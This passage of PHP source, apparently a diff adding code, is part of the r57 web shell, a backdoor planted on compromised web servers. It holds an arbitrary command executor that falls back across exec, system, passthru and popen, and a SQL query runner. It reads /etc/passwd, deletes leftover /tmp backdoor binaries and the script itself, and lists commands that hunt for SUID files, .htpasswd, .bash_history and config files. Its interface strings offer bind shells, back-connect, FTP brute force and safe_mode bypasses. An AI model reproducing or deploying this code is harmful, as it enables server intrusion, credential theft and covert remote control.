$content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'Âûïîëíåííàÿ êîìàíäà', +'ru_text2' =>'Âûïîëíåíèå êîìàíä íà ñåðâåðå', +'ru_text3' =>'Âûïîëíèòü êîìàíäó', +'ru_text4' =>'Ðàáî÷àÿ äèðåêòîðèÿ', +'ru_text5' =>'Çàãðóçêà ôàéëîâ íà ñåðâåð', +'ru_text6' =>'Ëîêàëüíûé ôàéë', +'ru_text7' =>'Àëèàñû', +'ru_text8' =>'Âûáåðèòå àëèàñ', +'ru_butt1' =>'Âûïîëíèòü', +'ru_butt2' =>'Çàãðóçèòü', +'ru_text9' =>'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash', +'ru_text10'=>'Îòêðûòü ïîðò', +'ru_text11'=>'Ïàðîëü äëÿ äîñòóïà', +'ru_butt3' =>'Îòêðûòü', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-àäðåñ', +'ru_text14'=>'Ïîðò', +'ru_butt4' =>'Âûïîëíèòü', +'ru_text15'=>'Çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà', +'ru_text16'=>'Èñïîëüçîâàòü', +'ru_text17'=>'Óäàëåííûé ôàéë', +'ru_text18'=>'Ëîêàëüíûé ôàéë', +'ru_text19'=>'Exploits', +'ru_text20'=>'Èñïîëüçîâàòü', +'ru_text21'=>'Íîâîå èìÿ', +'ru_text22'=>'datapipe', +'ru_text23'=>'Ëîêàëüíûé ïîðò', +'ru_text24'=>'Óäàëåííûé õîñò', +'ru_text25'=>'Óäàëåííûé ïîðò', +'ru_text26'=>'Èñïîëüçîâàòü', +'ru_butt5' =>'Çàïóñòèòü', +'ru_text28'=>'Ðàáîòà â safe_mode', +'ru_text29'=>'Äîñòóï çàïðåùåí', +'ru_butt6' =>'Ñìåíèòü', +'ru_text30'=>'Ïðîñìîòð ôàéëà', +'ru_butt7' =>'Âûâåñòè', +'ru_text31'=>'Ôàéë íå íàéäåí', +'ru_text32'=>'Âûïîëíåíèå PHP êîäà', +'ru_text33'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé open_basedir ÷åðåç ôóíêöèè cURL', +'ru_butt8' =>'Ïðîâåðèòü', +'ru_text34'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç ôóíêöèþ include', +'ru_text35'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç çàãðóçêó ôàéëà â mysql', +'ru_text36'=>'Áàçà . Òàáëèöà', +'ru_text37'=>'Ëîãèí', +'ru_text38'=>'Ïàðîëü', +'ru_text39'=>'Áàçà', +'ru_text40'=>'Äàìï òàáëèöû áàçû äàííûõ', +'ru_butt9' =>'Äàìï', +'ru_text41'=>'Ñîõðàíèòü â ôàéëå', +'ru_text42'=>'Ðåäàêòèðîâàíèå ôàéëà', +'ru_text43'=>'Ðåäàêòèðîâàòü ôàéë', +'ru_butt10'=>'Ñîõðàíèòü', +'ru_butt11'=>'Ðåäàêòèðîâàòü', +'ru_text44'=>'Ðåäàêòèðîâàíèå ôàéëà íåâîçìîæíî! Äîñòóï òîëüêî äëÿ ÷òåíèÿ!', +'ru_text45'=>'Ôàéë ñîõðàíåí', +'ru_text46'=>'Ïðîñìîòð phpinfo()', +'ru_text47'=>'Ïðîñìîòð íàñòðîåê php.ini', +'ru_text48'=>'Óäàëåíèå âðåìåííûõ ôàéëîâ', +'ru_text49'=>'Óäàëåíèå ñêðèïòà ñ ñåðâåðà', +'ru_text50'=>'Èíôîðìàöèÿ î ïðîöåññîðå', +'ru_text51'=>'Èíôîðìàöèÿ î ïàìÿòè', +'ru_text52'=>'Òåêñò äëÿ ïîèñêà', +'ru_text53'=>'Èñêàòü â ïàïêå', +'ru_text54'=>'Ïîèñê òåêñòà â ôàéëàõ', +'ru_butt12'=>'Íàéòè', +'ru_text55'=>'Òîëüêî â ôàéëàõ', +'ru_text56'=>'Íè÷åãî íå íàéäåíî', +'ru_text57'=>'Ñîçäàòü/Óäàëèòü Ôàéë/Äèðåêòîðèþ', +'ru_text58'=>'Èìÿ', +'ru_text59'=>'Ôàéë', +'ru_text60'=>'Äèðåêòîðèþ', +'ru_butt13'=>'Ñîçäàòü/Óäàëèòü', +'ru_text61'=>'Ôàéë ñîçäàí', +'ru_text62'=>'Äèðåêòîðèÿ ñîçäàíà', +'ru_text63'=>'Ôàéë óäàëåí', +'ru_text64'=>'Äèðåêòîðèÿ óäàëåíà', +'ru_text65'=>'Ñîçäàòü', +'ru_text66'=>'Óäàëèòü', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'Êîìàíäà', +'ru_text69'=>'Ïàðàìåòð1', +'ru_text70'=>'Ïàðàìåòð2', +'ru_text71'=>"Âòîðîé ïàðàìåòð êîìàíäû:\r\n- äëÿ CHOWN - èìÿ íîâîãî ïîëüçîâàòåëÿ èëè åãî UID (÷èñëîì) \r\n- äëÿ êîìàíäû CHGRP - èìÿ ãðóïïû èëè GID (÷èñëîì) \r\n- äëÿ êîìàíäû CHMOD - öåëîå ÷èñëî â âîñüìåðè÷íîì ïðåäñòàâëåíèè (íàïðèìåð 0777)", +'ru_text72'=>'Òåêñò äëÿ ïîèñêà', +'ru_text73'=>'Èñêàòü â ïàïêå', +'ru_text74'=>'Èñêàòü â ôàéëàõ', +'ru_text75'=>'* ìîæíî èñïîëüçîâàòü ðåãóëÿðíîå âûðàæåíèå', +'ru_text76'=>'Ïîèñê òåêñòà â ôàéëàõ ñ ïîìîùüþ óòèëèòû find', +'ru_text80'=>'Òèï', +'ru_text81'=>'Ñåòü', +'ru_text82'=>'Áàçû äàííûõ', +'ru_text83'=>'Âûïîëíåíèå SQL çàïðîñà', +'ru_text84'=>'SQL çàïðîñ', +'ru_text85'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç âûïîëíåíèå êîìàíä â MSSQL ñåðâåðå', +'ru_text86'=>'Ñêà÷èâàíèå ôàéëà ñ ñåðâåðà', +'ru_butt14'=>'Ñêà÷àòü', +'ru_text87'=>'Ñêà÷èâàíèå ôàéëîâ ñ óäàëåííîãî ftp-ñåðâåðà', +'ru_text88'=>'FTP-ñåðâåð:ïîðò', +'ru_text89'=>'Ôàéë íà ftp ñåðâåðå', +'ru_text90'=>'Ðåæèì ïåðåäà÷è', +'ru_text91'=>'Àðõèâèðîâàòü â', +'ru_text92'=>'áåç àðõèâàöèè', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-áðóòôîðñ', +'ru_text95'=>'Ñïèñîê ïîëüçîâàòåëåé', +'ru_text96'=>'Íå óäàëîñü ïîëó÷èòü ñïèñîê ïîëüçîâàòåëåé', +'ru_text97'=>'Ïðîâåðåíî êîìáèíàöèé: ', +'ru_text98'=>'Óäà÷íûõ ïîäêëþ÷åíèé: ', +'ru_text99'=>'* â êà÷åñòâå ëîãèíà è ïàðîëÿ èñïîëüçóåòñÿ èìÿ ïîëüçîâàòåëÿ èç /etc/passwd', +'ru_text100'=>'Îòïðàâêà ôàéëîâ íà óäàëåííûé ôòï ñåðâåð', +'ru_text101'=>'Èñïîëüçîâàòü òàêæå ïåðåâåðíóòîå (user -> resu) èìÿ ïîëüçîâàòåëÿ â êà÷åñòâå ïàðîëÿ', +'ru_text102'=>'Ïî÷òà', +'ru_text103'=>'Îòïðàâêà ïèñüìà', +'ru_text104'=>'Îòïðàâêà ôàéëà íà ïî÷òîâûé ÿùèê', +'ru_text105'=>'Êîìó', +'ru_text106'=>'Îò', +'ru_text107'=>'Òåìà', +'ru_butt15'=>'Îòïðàâèòü', +'ru_text108'=>'Òåêñò ïèñüìà', +'ru_text109'=>'Ñâåðíóòü', +'ru_text110'=>'Ðàçâåðíóòü', +'ru_text111'=>'SQL-Ñåðâåð : ïîðò', +'ru_text112'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç èñïîëüçîâàíèå ôóíêöèè mb_send_mail', +'ru_text113'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode, ïðîñìîòð ëèñòèíãà äèðåêòîðèé ñ èñïîëüçîâàíèåì imap_list', +'ru_text114'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode, ïðîñìîòð ñîäåðæèìîãî ôàéëà ñ èñïîëüçîâàíèåì imap_body', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text777'=>'bypass safemode with copy()', +'eng_text888'=>'File name', +'eng_text7777'=>'bypass safemode with curl()', +'eng_text8888'=>'File name', +'eng_text999'=>'bypass safemode with imap()', +'eng_text9999'=>'File name', +'eng_text1010'=>'bypass safemode with id()', +'eng_text101010'=>'', +); +/* +Àëèàñû êîìàíä +Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè ) +Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>è</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó ïðî÷èòàòü ôàéë '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "Íå óäàëîñü ñîçäàòü "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('Íå óäàëîñü ïîäêëþ÷èòüñÿ ê ftp ñåðâåðó','Îøèáêà àâòîðèçàöèè íà ftp ñåðâåðå','Íå óäàëîñü ïîìåíÿòü äèðåêòîðèþ íà ftp ñåðâåðå'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = array('Íå óäàëîñü îòïðàâèòü ïèñüìî','Ïèñüìî îòïðàâëåíî'); +$text['eng'] = array('Can\'t send mail','Mail sent'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + 